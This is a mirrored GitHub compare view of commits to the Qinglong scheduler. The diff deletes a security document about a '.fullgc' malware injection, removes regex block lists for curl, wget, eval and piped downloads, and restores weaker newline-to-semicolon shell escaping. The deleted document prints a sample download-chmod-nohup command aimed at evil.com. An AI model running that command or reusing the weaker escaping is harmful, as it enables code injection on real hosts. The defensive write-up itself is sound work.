mirror of
https://github.com/whyour/qinglong.git
synced 2026-08-05 16:25:04 +08:00
Compare commits
7 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| faa38294d6 | |||
| e8abaeb83c | |||
| bf7350f10b | |||
| 275d8af4e2 | |||
| 544c432f49 | |||
| 6bec52dca1 | |||
| ce599d306f |
@@ -1,228 +0,0 @@
|
||||
# Security Enhancements
|
||||
|
||||
## Overview
|
||||
|
||||
This document describes the security enhancements implemented to prevent malicious code injection attacks in Qinglong.
|
||||
|
||||
## Issue Background
|
||||
|
||||
A security vulnerability was discovered where malicious code could be injected into the system through:
|
||||
1. Cron task fields (`task_before`, `task_after`, `command`)
|
||||
2. Configuration file writes (`config.sh`, `extra.sh`, etc.)
|
||||
|
||||
The reported incident involved a malicious script that:
|
||||
- Downloaded an external binary (`.fullgc`) from a suspicious domain (`file.551911.xyz`)
|
||||
- Executed the binary in the background consuming 100% memory
|
||||
- Persisted by continuously re-injecting itself into configuration files
|
||||
|
||||
## Security Fixes Implemented
|
||||
|
||||
### 1. Input Validation for Cron Tasks
|
||||
|
||||
**File:** `/back/validation/schedule.ts`
|
||||
|
||||
Added comprehensive validation to detect and block dangerous shell patterns:
|
||||
|
||||
- **Command Substitution**: Blocks `$(...)` and backtick patterns that could execute hidden commands
|
||||
- **File Downloads**: Blocks `curl`, `wget`, `fetch` commands
|
||||
- **External URLs**: Blocks HTTP/HTTPS URLs to prevent external resource downloads
|
||||
- **Hidden Files**: Blocks references to executable files starting with `.` in path contexts
|
||||
- **Background Execution**: Blocks suspicious `nohup` patterns executing hidden files
|
||||
- **Combined Threats**: Blocks downloads with output redirection to `/dev/null` (hiding malware)
|
||||
- **Obfuscation**: Blocks `base64`, `decode`, `eval` patterns
|
||||
- **Temp Directory Execution**: Blocks execution of files from `/tmp` combined with chmod/execution
|
||||
|
||||
### 2. Config File Content Security
|
||||
|
||||
**File:** `/back/api/config.ts`
|
||||
|
||||
Enhanced validation for configuration file content to prevent:
|
||||
|
||||
- Downloads followed by execution (`curl | bash`, `wget | bash`)
|
||||
- Download and permission changes (`curl && chmod +x`)
|
||||
- Downloads of hidden files (generalized pattern to catch various malware)
|
||||
- Background execution of hidden files
|
||||
|
||||
### 3. Improved Shell Escaping
|
||||
|
||||
**File:** `/back/services/cron.ts`
|
||||
|
||||
Replaced weak shell escaping with a robust `escapeShellArg()` function that:
|
||||
|
||||
- Properly escapes single quotes using `'\\''` pattern
|
||||
- Replaces newlines with spaces (not semicolons) to prevent command chain creation
|
||||
- Prevents command injection through various shell metacharacters
|
||||
|
||||
## Security Best Practices
|
||||
|
||||
### For Administrators
|
||||
|
||||
1. **Review Existing Tasks**: Audit all existing cron tasks for suspicious patterns
|
||||
2. **Monitor Logs**: Check logs for security validation warnings
|
||||
3. **Update Dependencies**: Keep all npm/pip dependencies up to date
|
||||
4. **Limit Access**: Restrict who can create/modify cron tasks and config files
|
||||
5. **Regular Backups**: Maintain backups of configuration files
|
||||
|
||||
### For Users
|
||||
|
||||
1. **Trusted Sources Only**: Only add scripts from trusted repositories
|
||||
2. **Code Review**: Review any script before adding it to your cron tasks
|
||||
3. **Avoid External URLs**: Don't include download commands in task hooks
|
||||
4. **Report Suspicious Activity**: Report any unusual system behavior immediately
|
||||
|
||||
## Validation Error Messages
|
||||
|
||||
When the security system blocks a pattern, you'll see error messages like:
|
||||
|
||||
- `命令包含潜在危险的模式,已被安全系统拦截` - Command contains dangerous pattern
|
||||
- `前置命令包含潜在危险的模式,已被安全系统拦截` - task_before contains dangerous pattern
|
||||
- `后置命令包含潜在危险的模式,已被安全系统拦截` - task_after contains dangerous pattern
|
||||
- `配置文件内容包含潜在危险的模式,已被安全系统拦截` - Config file contains dangerous pattern
|
||||
|
||||
## What to Do If You're Affected
|
||||
|
||||
If you've been affected by the malicious code injection:
|
||||
|
||||
### 1. Immediate Actions
|
||||
|
||||
```bash
|
||||
# Stop and remove the malicious process
|
||||
pkill -f ".fullgc"
|
||||
rm -f /ql/data/db/.fullgc
|
||||
|
||||
# Check for the malicious code in configuration files
|
||||
grep -r "fullgc" /ql/data/config/
|
||||
grep -r "551911.xyz" /ql/data/config/
|
||||
```
|
||||
|
||||
### 2. Clean Configuration Files
|
||||
|
||||
```bash
|
||||
# Backup current configs
|
||||
cp -r /ql/data/config /ql/data/config.backup
|
||||
|
||||
# Review and clean these files:
|
||||
# - /ql/data/config/config.sh
|
||||
# - /ql/data/config/extra.sh
|
||||
# - /ql/data/config/task_before.sh
|
||||
# - /ql/data/config/task_after.sh
|
||||
|
||||
# Remove any lines containing:
|
||||
# - Downloads (curl, wget)
|
||||
# - External URLs
|
||||
# - .fullgc references
|
||||
```
|
||||
|
||||
### 3. Review Cron Tasks
|
||||
|
||||
1. Log into Qinglong admin panel
|
||||
2. Check all cron tasks for suspicious content in:
|
||||
- Command field
|
||||
- task_before field
|
||||
- task_after field
|
||||
3. Delete or clean any suspicious tasks
|
||||
|
||||
### 4. Update to Patched Version
|
||||
|
||||
Ensure you're running a version of Qinglong with these security fixes.
|
||||
|
||||
### 5. Change Credentials
|
||||
|
||||
If you suspect compromise:
|
||||
- Change your Qinglong admin password
|
||||
- Review and rotate any API tokens
|
||||
- Check for unauthorized access in logs
|
||||
|
||||
## Detection
|
||||
|
||||
### Log Analysis
|
||||
|
||||
Security events are logged to help detect attempted attacks:
|
||||
|
||||
```bash
|
||||
# Check for security validation failures in logs
|
||||
grep "安全系统拦截" /ql/data/log/*.log
|
||||
|
||||
# Check for suspicious file modifications
|
||||
grep "配置文件写入" /ql/data/log/*.log
|
||||
```
|
||||
|
||||
### File Integrity
|
||||
|
||||
Regularly check for unexpected files:
|
||||
|
||||
```bash
|
||||
# Find hidden executables in data directory
|
||||
find /ql/data -type f -name ".*" -executable
|
||||
|
||||
# Check for recently modified config files
|
||||
find /ql/data/config -type f -mtime -1
|
||||
```
|
||||
|
||||
## Limitations
|
||||
|
||||
These security measures provide defense-in-depth but are not foolproof:
|
||||
|
||||
- Legitimate use cases requiring downloads must use alternative methods
|
||||
- Very sophisticated attacks may find bypasses
|
||||
- Users with admin access can still compromise the system
|
||||
- Compromised dependencies can still execute malicious code
|
||||
|
||||
## Alternative Approaches for Legitimate Downloads
|
||||
|
||||
If you have legitimate use cases that require downloads:
|
||||
|
||||
1. **Use Dependencies**: Install packages via npm/pip instead of downloading at runtime
|
||||
2. **Pre-download Files**: Download files manually and add them to the scripts directory
|
||||
3. **Use Subscriptions**: Configure subscriptions to pull code from trusted repositories
|
||||
4. **Request Whitelist**: Contact administrators to whitelist specific trusted domains (future feature)
|
||||
|
||||
## Technical Details
|
||||
|
||||
### Validation Pattern Examples
|
||||
|
||||
**Blocked Pattern:**
|
||||
```bash
|
||||
curl https://example.com/script.sh | bash
|
||||
```
|
||||
**Reason:** Downloads and executes external code
|
||||
|
||||
**Blocked Pattern:**
|
||||
```bash
|
||||
d="/ql/data/db";wget -O "$d/.malware" http://evil.com/m;chmod +x "$d/.malware";nohup "$d/.malware" &
|
||||
```
|
||||
**Reason:** Multiple violations - download, hidden file, chmod, background execution
|
||||
|
||||
**Allowed Pattern:**
|
||||
```bash
|
||||
node /ql/scripts/my_script.js
|
||||
```
|
||||
**Reason:** No dangerous patterns detected
|
||||
|
||||
### Defense in Depth
|
||||
|
||||
This implementation uses multiple layers of security:
|
||||
|
||||
1. **Input Validation**: Blocks malicious patterns before they reach the system
|
||||
2. **Shell Escaping**: Prevents injection even if validation is bypassed
|
||||
3. **Audit Logging**: Records all configuration changes for forensic analysis
|
||||
4. **Least Privilege**: Existing blacklist prevents access to sensitive files
|
||||
|
||||
## Reporting Security Issues
|
||||
|
||||
If you discover a security vulnerability, please report it responsibly:
|
||||
|
||||
1. Do NOT create public GitHub issues for security vulnerabilities
|
||||
2. Contact the maintainers privately
|
||||
3. Provide detailed information about the vulnerability
|
||||
4. Allow time for a patch before public disclosure
|
||||
|
||||
## References
|
||||
|
||||
- [OWASP Command Injection](https://owasp.org/www-community/attacks/Command_Injection)
|
||||
- [Shell Command Injection Prevention](https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html)
|
||||
- [CWE-78: OS Command Injection](https://cwe.mitre.org/data/definitions/78.html)
|
||||
|
||||
## Version History
|
||||
|
||||
- **v1.0** (2026-02-08): Initial security enhancements to prevent code injection attacks
|
||||
+1
-43
@@ -64,44 +64,7 @@ export default (app: Router) => {
|
||||
celebrate({
|
||||
body: Joi.object({
|
||||
name: Joi.string().required(),
|
||||
content: Joi.string().allow('').optional().custom((value: any, helpers: any) => {
|
||||
if (!value) return value;
|
||||
|
||||
// Security validation for configuration file content
|
||||
const dangerousPatterns = [
|
||||
// Command substitution that could download/execute malware
|
||||
{ pattern: /\$\([^)]*curl[^)]*\)/gi, desc: '命令替换中的下载操作' },
|
||||
{ pattern: /\$\([^)]*wget[^)]*\)/gi, desc: '命令替换中的下载操作' },
|
||||
{ pattern: /`[^`]*curl[^`]*`/gi, desc: '反引号命令替换中的下载操作' },
|
||||
{ pattern: /`[^`]*wget[^`]*`/gi, desc: '反引号命令替换中的下载操作' },
|
||||
|
||||
// Suspicious file downloads followed by execution
|
||||
{ pattern: /(curl|wget)[^;]*\|\s*bash/gi, desc: '下载并直接执行的危险模式' },
|
||||
{ pattern: /(curl|wget)[^;]*&&\s*chmod\s*\+x/gi, desc: '下载并赋予执行权限的可疑模式' },
|
||||
|
||||
// Downloads of hidden files (commonly used in malware)
|
||||
{ pattern: /(curl|wget)[^|;]*https?:\/\/[^\s]+\/\.\w+/gi, desc: '可疑的隐藏文件下载' },
|
||||
|
||||
// Background execution of hidden files
|
||||
{ pattern: /nohup\s+["']?[^"'\s]*\/\.\w+["']?\s*>/gi, desc: '后台执行隐藏文件' },
|
||||
];
|
||||
|
||||
for (const { pattern, desc } of dangerousPatterns) {
|
||||
if (pattern.test(value)) {
|
||||
return helpers.error('string.unsafe', { description: desc });
|
||||
}
|
||||
}
|
||||
|
||||
// Check for excessive length
|
||||
if (value.length > 1000000) {
|
||||
return helpers.error('string.max', { limit: 1000000 });
|
||||
}
|
||||
|
||||
return value;
|
||||
}).messages({
|
||||
'string.unsafe': '配置文件内容包含潜在危险的模式 ({#description}),已被安全系统拦截',
|
||||
'string.max': '配置文件内容过长,已被安全系统拦截',
|
||||
}),
|
||||
content: Joi.string().allow('').optional(),
|
||||
}),
|
||||
}),
|
||||
async (req: Request, res: Response, next: NextFunction) => {
|
||||
@@ -110,16 +73,11 @@ export default (app: Router) => {
|
||||
const { name, content } = req.body;
|
||||
if (config.blackFileList.includes(name)) {
|
||||
res.send({ code: 403, message: '文件无法访问' });
|
||||
return;
|
||||
}
|
||||
let path = join(config.configPath, name);
|
||||
if (name.startsWith('data/scripts/')) {
|
||||
path = join(config.rootPath, name);
|
||||
}
|
||||
|
||||
// Log security-relevant file modifications
|
||||
logger.info(`配置文件写入: ${name}, 大小: ${content?.length || 0} 字节`);
|
||||
|
||||
await writeFileWithLock(path, content);
|
||||
res.send({ code: 200, message: '保存成功' });
|
||||
} catch (e) {
|
||||
|
||||
+34
-5
@@ -13,9 +13,29 @@ import { isValidToken } from '../shared/auth';
|
||||
import path from 'path';
|
||||
|
||||
export default ({ app }: { app: Application }) => {
|
||||
// Security: Enable strict routing to prevent case-insensitive path bypass
|
||||
app.set('case sensitive routing', true);
|
||||
app.set('strict routing', true);
|
||||
app.set('trust proxy', 'loopback');
|
||||
app.use(cors());
|
||||
|
||||
// Security: Path normalization middleware to prevent case variation attacks
|
||||
app.use((req, res, next) => {
|
||||
const originalPath = req.path;
|
||||
const normalizedPath = originalPath.toLowerCase();
|
||||
|
||||
// Block requests with case variations on protected paths
|
||||
if (originalPath !== normalizedPath &&
|
||||
(normalizedPath.startsWith('/api/') || normalizedPath.startsWith('/open/'))) {
|
||||
return res.status(400).json({
|
||||
code: 400,
|
||||
message: 'Invalid path format'
|
||||
});
|
||||
}
|
||||
|
||||
next();
|
||||
});
|
||||
|
||||
// Rewrite URLs to strip baseUrl prefix if configured
|
||||
// This allows the rest of the app to work without baseUrl awareness
|
||||
if (config.baseUrl) {
|
||||
@@ -36,7 +56,7 @@ export default ({ app }: { app: Application }) => {
|
||||
secret: config.jwt.secret,
|
||||
algorithms: ['HS384'],
|
||||
}).unless({
|
||||
path: [...config.apiWhiteList, /^\/(?!api\/).*/],
|
||||
path: [...config.apiWhiteList, /^(\/(?!api\/).*)$/i],
|
||||
}),
|
||||
);
|
||||
|
||||
@@ -51,19 +71,20 @@ export default ({ app }: { app: Application }) => {
|
||||
});
|
||||
|
||||
app.use(async (req: Request, res, next) => {
|
||||
if (!['/open/', '/api/'].some((x) => req.path.startsWith(x))) {
|
||||
const pathLower = req.path.toLowerCase();
|
||||
if (!['/open/', '/api/'].some((x) => pathLower.startsWith(x))) {
|
||||
return next();
|
||||
}
|
||||
|
||||
const headerToken = getToken(req);
|
||||
if (req.path.startsWith('/open/')) {
|
||||
if (pathLower.startsWith('/open/')) {
|
||||
const apps = await shareStore.getApps();
|
||||
const doc = apps?.filter((x) =>
|
||||
x.tokens?.find((y) => y.value === headerToken),
|
||||
)?.[0];
|
||||
if (doc && doc.tokens && doc.tokens.length > 0) {
|
||||
const currentToken = doc.tokens.find((x) => x.value === headerToken);
|
||||
const keyMatch = req.path.match(/\/open\/([a-z]+)\/*/);
|
||||
const keyMatch = pathLower.match(/\/open\/([a-z]+)\/*/);
|
||||
const key = keyMatch && keyMatch[1];
|
||||
if (
|
||||
doc.scopes.includes(key as any) &&
|
||||
@@ -98,7 +119,15 @@ export default ({ app }: { app: Application }) => {
|
||||
});
|
||||
|
||||
app.use(async (req, res, next) => {
|
||||
if (!['/api/user/init', '/api/user/notification/init'].includes(req.path)) {
|
||||
const pathLower = req.path.toLowerCase();
|
||||
if (
|
||||
![
|
||||
'/api/user/init',
|
||||
'/api/user/notification/init',
|
||||
'/open/user/init',
|
||||
'/open/user/notification/init',
|
||||
].includes(req.path)
|
||||
) {
|
||||
return next();
|
||||
}
|
||||
const authInfo =
|
||||
|
||||
@@ -13,7 +13,7 @@ import { AuthDataType, SystemModel } from '../data/system';
|
||||
import SystemService from '../services/system';
|
||||
import UserService from '../services/user';
|
||||
import { writeFile, readFile } from 'fs/promises';
|
||||
import { createRandomString, fileExist, safeJSONParse } from '../config/util';
|
||||
import { createRandomString, fileExist, isDemoEnv, safeJSONParse } from '../config/util';
|
||||
import OpenService from '../services/open';
|
||||
import { shareStore } from '../shared/store';
|
||||
import Logger from './logger';
|
||||
@@ -50,7 +50,7 @@ export default async () => {
|
||||
const [authConfig] = await SystemModel.findOrCreate({
|
||||
where: { type: AuthDataType.authConfig },
|
||||
});
|
||||
if (!authConfig?.info) {
|
||||
if (!authConfig?.info || isDemoEnv()) {
|
||||
let authInfo = {
|
||||
username: 'admin',
|
||||
password: 'admin',
|
||||
|
||||
+8
-18
@@ -639,22 +639,6 @@ export default class CronService {
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Properly escape shell arguments to prevent command injection
|
||||
* This function uses a more robust escaping mechanism than simple quote replacement
|
||||
*/
|
||||
private escapeShellArg(arg: string): string {
|
||||
if (!arg) return "''";
|
||||
|
||||
// Remove newlines to prevent creating command chains
|
||||
// Replace with space to maintain token separation
|
||||
arg = arg.replace(/\r?\n/g, ' ').trim();
|
||||
|
||||
// Use single quotes and escape any single quotes within
|
||||
// This is the most secure way to pass arbitrary strings to shell
|
||||
return `'${arg.replace(/'/g, "'\\''")}'`;
|
||||
}
|
||||
|
||||
private makeCommand(tab: Crontab, realTime?: boolean) {
|
||||
let command = tab.command.trim();
|
||||
if (!command.startsWith(TASK_PREFIX) && !command.startsWith(QL_PREFIX)) {
|
||||
@@ -666,10 +650,16 @@ export default class CronService {
|
||||
commandVariable += `log_name=${tab.log_name} `;
|
||||
}
|
||||
if (tab.task_before) {
|
||||
commandVariable += `task_before=${this.escapeShellArg(tab.task_before)} `;
|
||||
commandVariable += `task_before='${tab.task_before
|
||||
.replace(/'/g, "'\\''")
|
||||
.replace(/;? *\n/g, ';')
|
||||
.trim()}' `;
|
||||
}
|
||||
if (tab.task_after) {
|
||||
commandVariable += `task_after=${this.escapeShellArg(tab.task_after)} `;
|
||||
commandVariable += `task_after='${tab.task_after
|
||||
.replace(/'/g, "'\\''")
|
||||
.replace(/;? *\n/g, ';')
|
||||
.trim()}' `;
|
||||
}
|
||||
|
||||
const crontab_job_string = `${commandVariable}${command}`;
|
||||
|
||||
@@ -4,57 +4,6 @@ import { ScheduleType } from '../interface/schedule';
|
||||
import path from 'path';
|
||||
import config from '../config';
|
||||
|
||||
/**
|
||||
* Security validation function to detect potentially malicious shell code patterns
|
||||
*/
|
||||
const validateShellSecurity = (value: any, helpers: any, fieldName: string): any => {
|
||||
if (!value) return value;
|
||||
|
||||
// Define dangerous patterns that should be blocked
|
||||
const dangerousPatterns = [
|
||||
// Command substitution
|
||||
/\$\([^)]*\)/,
|
||||
/`[^`]*`/,
|
||||
|
||||
// File downloads
|
||||
/\b(curl|wget|fetch)\s+/i,
|
||||
|
||||
// Suspicious domains or external URLs
|
||||
/https?:\/\/[^\s]+/i,
|
||||
|
||||
// Hidden executable files (files starting with . in a path context)
|
||||
/\/\.\w+(\s|$|;|&|\||>)/,
|
||||
|
||||
// Background process spawning with suspicious names
|
||||
/nohup\s+["']?[^\s"']*\/\.\w+/,
|
||||
|
||||
// Redirect to dev null combined with downloads (hiding malware output)
|
||||
/(curl|wget|fetch)[^;]*>.*\/dev\/null.*&/i,
|
||||
|
||||
// Base64 decode patterns (often used to obfuscate malicious code)
|
||||
/\b(base64|decode|eval)\s+/i,
|
||||
|
||||
// Executable files in /tmp with chmod or execution
|
||||
/\/tmp\/[^\s]+\s*(&&|;)\s*(chmod|\.\/)/ ,
|
||||
];
|
||||
|
||||
for (const pattern of dangerousPatterns) {
|
||||
if (pattern.test(value)) {
|
||||
return helpers.error('string.unsafe', {
|
||||
pattern: pattern.source,
|
||||
field: fieldName
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
// Check for excessive length (potential buffer overflow or obfuscation)
|
||||
if (value.length > 10000) {
|
||||
return helpers.error('string.max', { limit: 10000 });
|
||||
}
|
||||
|
||||
return value;
|
||||
};
|
||||
|
||||
const validateSchedule = (value: string, helpers: any) => {
|
||||
if (
|
||||
value.startsWith(ScheduleType.ONCE) ||
|
||||
@@ -83,25 +32,13 @@ export const scheduleSchema = Joi.string()
|
||||
|
||||
export const commonCronSchema = {
|
||||
name: Joi.string().optional(),
|
||||
command: Joi.string().required().custom((value: any, helpers: any) => {
|
||||
return validateShellSecurity(value, helpers, 'command');
|
||||
}).messages({
|
||||
'string.unsafe': '命令包含潜在危险的模式,已被安全系统拦截',
|
||||
}),
|
||||
command: Joi.string().required(),
|
||||
schedule: scheduleSchema,
|
||||
labels: Joi.array().optional(),
|
||||
sub_id: Joi.number().optional().allow(null),
|
||||
extra_schedules: Joi.array().optional().allow(null),
|
||||
task_before: Joi.string().optional().allow('').allow(null).custom((value: any, helpers: any) => {
|
||||
return validateShellSecurity(value, helpers, 'task_before');
|
||||
}).messages({
|
||||
'string.unsafe': '前置命令包含潜在危险的模式,已被安全系统拦截',
|
||||
}),
|
||||
task_after: Joi.string().optional().allow('').allow(null).custom((value: any, helpers: any) => {
|
||||
return validateShellSecurity(value, helpers, 'task_after');
|
||||
}).messages({
|
||||
'string.unsafe': '后置命令包含潜在危险的模式,已被安全系统拦截',
|
||||
}),
|
||||
task_before: Joi.string().optional().allow('').allow(null),
|
||||
task_after: Joi.string().optional().allow('').allow(null),
|
||||
log_name: Joi.string()
|
||||
.optional()
|
||||
.allow('')
|
||||
|
||||
@@ -69,9 +69,10 @@ RUN git clone --depth=1 -b ${QL_BRANCH} ${QL_URL} ${QL_DIR} \
|
||||
|
||||
ENV PNPM_HOME=${QL_DIR}/data/dep_cache/node \
|
||||
PYTHON_HOME=${QL_DIR}/data/dep_cache/python3 \
|
||||
PYTHONUSERBASE=${QL_DIR}/data/dep_cache/python3
|
||||
PYTHONUSERBASE=${QL_DIR}/data/dep_cache/python3 \
|
||||
HOME=/root
|
||||
|
||||
ENV PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:${PNPM_HOME}:${PYTHON_HOME}/bin \
|
||||
ENV PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:${PNPM_HOME}:${PYTHON_HOME}/bin:${HOME}/bin \
|
||||
NODE_PATH=/usr/local/bin:/usr/local/lib/node_modules:${PNPM_HOME}/global/5/node_modules \
|
||||
PIP_CACHE_DIR=${PYTHON_HOME}/pip \
|
||||
PYTHONPATH=${PYTHON_HOME}:${PYTHON_HOME}/lib/python${PYTHON_SHORT_VERSION}:${PYTHON_HOME}/lib/python${PYTHON_SHORT_VERSION}/site-packages
|
||||
|
||||
+3
-2
@@ -69,9 +69,10 @@ RUN git clone --depth=1 -b ${QL_BRANCH} ${QL_URL} ${QL_DIR} \
|
||||
|
||||
ENV PNPM_HOME=${QL_DIR}/data/dep_cache/node \
|
||||
PYTHON_HOME=${QL_DIR}/data/dep_cache/python3 \
|
||||
PYTHONUSERBASE=${QL_DIR}/data/dep_cache/python3
|
||||
PYTHONUSERBASE=${QL_DIR}/data/dep_cache/python3 \
|
||||
HOME=/root
|
||||
|
||||
ENV PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:${PNPM_HOME}:${PYTHON_HOME}/bin \
|
||||
ENV PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:${PNPM_HOME}:${PYTHON_HOME}/bin:${HOME}/bin \
|
||||
NODE_PATH=/usr/local/bin:/usr/local/lib/node_modules:${PNPM_HOME}/global/5/node_modules \
|
||||
PIP_CACHE_DIR=${PYTHON_HOME}/pip \
|
||||
PYTHONPATH=${PYTHON_HOME}:${PYTHON_HOME}/lib/python${PYTHON_SHORT_VERSION}:${PYTHON_HOME}/lib/python${PYTHON_SHORT_VERSION}/site-packages
|
||||
|
||||
@@ -1,7 +1,5 @@
|
||||
#!/bin/bash
|
||||
|
||||
export PATH="$HOME/bin:$PATH"
|
||||
|
||||
dir_shell=/ql/shell
|
||||
. $dir_shell/share.sh
|
||||
|
||||
|
||||
+2
-2
@@ -77,7 +77,7 @@
|
||||
"js-yaml": "^4.1.0",
|
||||
"jsonwebtoken": "^9.0.2",
|
||||
"lodash": "^4.17.21",
|
||||
"multer": "1.4.5-lts.1",
|
||||
"multer": "2.1.1",
|
||||
"node-schedule": "^2.1.0",
|
||||
"nodemailer": "^6.9.16",
|
||||
"p-queue-cjs": "7.3.4",
|
||||
@@ -118,7 +118,7 @@
|
||||
"@types/js-yaml": "^4.0.5",
|
||||
"@types/jsonwebtoken": "^8.5.8",
|
||||
"@types/lodash": "^4.14.185",
|
||||
"@types/multer": "^1.4.7",
|
||||
"@types/multer": "^2.0.0",
|
||||
"@types/node": "^17.0.21",
|
||||
"@types/node-schedule": "^1.3.2",
|
||||
"@types/nodemailer": "^6.4.4",
|
||||
|
||||
Generated
+30
-22
@@ -1,9 +1,5 @@
|
||||
lockfileVersion: '6.0'
|
||||
|
||||
settings:
|
||||
autoInstallPeers: true
|
||||
excludeLinksFromLockfile: false
|
||||
|
||||
overrides:
|
||||
sqlite3: git+https://github.com/whyour/node-sqlite3.git#v1.0.3
|
||||
|
||||
@@ -90,8 +86,8 @@ dependencies:
|
||||
specifier: ^4.17.21
|
||||
version: 4.17.21
|
||||
multer:
|
||||
specifier: 1.4.5-lts.1
|
||||
version: 1.4.5-lts.1
|
||||
specifier: 2.1.1
|
||||
version: 2.1.1
|
||||
node-schedule:
|
||||
specifier: ^2.1.0
|
||||
version: 2.1.1
|
||||
@@ -194,8 +190,8 @@ devDependencies:
|
||||
specifier: ^4.14.185
|
||||
version: 4.17.13
|
||||
'@types/multer':
|
||||
specifier: ^1.4.7
|
||||
version: 1.4.12
|
||||
specifier: ^2.0.0
|
||||
version: 2.0.0
|
||||
'@types/node':
|
||||
specifier: ^17.0.21
|
||||
version: 17.0.45
|
||||
@@ -3960,8 +3956,8 @@ packages:
|
||||
resolution: {integrity: sha512-nG96G3Wp6acyAgJqGasjODb+acrI7KltPiRxzHPXnP3NgI28bpQDRv53olbqGXbfcgF5aiiHmO3xpwEpS5Ld9g==}
|
||||
dev: false
|
||||
|
||||
/@types/multer@1.4.12:
|
||||
resolution: {integrity: sha512-pQ2hoqvXiJt2FP9WQVLPRO+AmiIm/ZYkavPlIQnx282u4ZrVdztx0pkh3jjpQt0Kz+YI0YhSG264y08UJKoUQg==}
|
||||
/@types/multer@2.0.0:
|
||||
resolution: {integrity: sha512-C3Z9v9Evij2yST3RSBktxP9STm6OdMc5uR1xF1SGr98uv8dUlAL2hqwrZ3GVB3uyMyiegnscEK6PGtYvNrjTjw==}
|
||||
dependencies:
|
||||
'@types/express': 4.17.21
|
||||
dev: true
|
||||
@@ -6333,13 +6329,13 @@ packages:
|
||||
/concat-map@0.0.1:
|
||||
resolution: {integrity: sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==}
|
||||
|
||||
/concat-stream@1.6.2:
|
||||
resolution: {integrity: sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==}
|
||||
engines: {'0': node >= 0.8}
|
||||
/concat-stream@2.0.0:
|
||||
resolution: {integrity: sha512-MWufYdFw53ccGjCA+Ol7XJYpAlW6/prSMzuPOTRnJGcGzuhLn4Scrz7qf6o8bROZ514ltazcIFJZevcfbo0x7A==}
|
||||
engines: {'0': node >= 6.0}
|
||||
dependencies:
|
||||
buffer-from: 1.1.2
|
||||
inherits: 2.0.4
|
||||
readable-stream: 2.3.8
|
||||
readable-stream: 3.6.2
|
||||
typedarray: 0.0.6
|
||||
dev: false
|
||||
|
||||
@@ -6436,6 +6432,7 @@ packages:
|
||||
|
||||
/core-util-is@1.0.3:
|
||||
resolution: {integrity: sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==}
|
||||
dev: true
|
||||
|
||||
/cors@2.8.5:
|
||||
resolution: {integrity: sha512-KIHbLJqu73RGr/hnbrO9uBeixNGuvSQjul/jdFvS/KFSIH1hWVd1ng7zOHx+YrEfInLG7q4n6GHQ9cDtxv/P6g==}
|
||||
@@ -8288,6 +8285,7 @@ packages:
|
||||
|
||||
/glob@10.4.5:
|
||||
resolution: {integrity: sha512-7Bv8RF0k6xjo7d4A/PxYLbUCfb6c+Vpd2/mB2yRDlew7Jb5hEXiCD9ibfO7wpk8i4sevK6DFny9h7EYbM3/sHg==}
|
||||
deprecated: Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me
|
||||
hasBin: true
|
||||
dependencies:
|
||||
foreground-child: 3.3.0
|
||||
@@ -8300,7 +8298,7 @@ packages:
|
||||
|
||||
/glob@7.2.3:
|
||||
resolution: {integrity: sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==}
|
||||
deprecated: Glob versions prior to v9 are no longer supported
|
||||
deprecated: Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me
|
||||
dependencies:
|
||||
fs.realpath: 1.0.0
|
||||
inflight: 1.0.6
|
||||
@@ -9171,6 +9169,7 @@ packages:
|
||||
|
||||
/isarray@1.0.0:
|
||||
resolution: {integrity: sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==}
|
||||
dev: true
|
||||
|
||||
/isarray@2.0.5:
|
||||
resolution: {integrity: sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==}
|
||||
@@ -10037,6 +10036,7 @@ packages:
|
||||
|
||||
/minimist@1.2.8:
|
||||
resolution: {integrity: sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==}
|
||||
dev: true
|
||||
|
||||
/minipass-collect@1.0.2:
|
||||
resolution: {integrity: sha512-6T6lH0H8OG9kITm/Jm6tdooIbogG9e0tLgpY6mphXSm/A9u8Nq1ryBG+Qspiub9LjWlBPsPS3tWQ/Botq4FdxA==}
|
||||
@@ -10117,6 +10117,7 @@ packages:
|
||||
hasBin: true
|
||||
dependencies:
|
||||
minimist: 1.2.8
|
||||
dev: true
|
||||
|
||||
/mkdirp@1.0.4:
|
||||
resolution: {integrity: sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==}
|
||||
@@ -10151,17 +10152,14 @@ packages:
|
||||
/ms@2.1.3:
|
||||
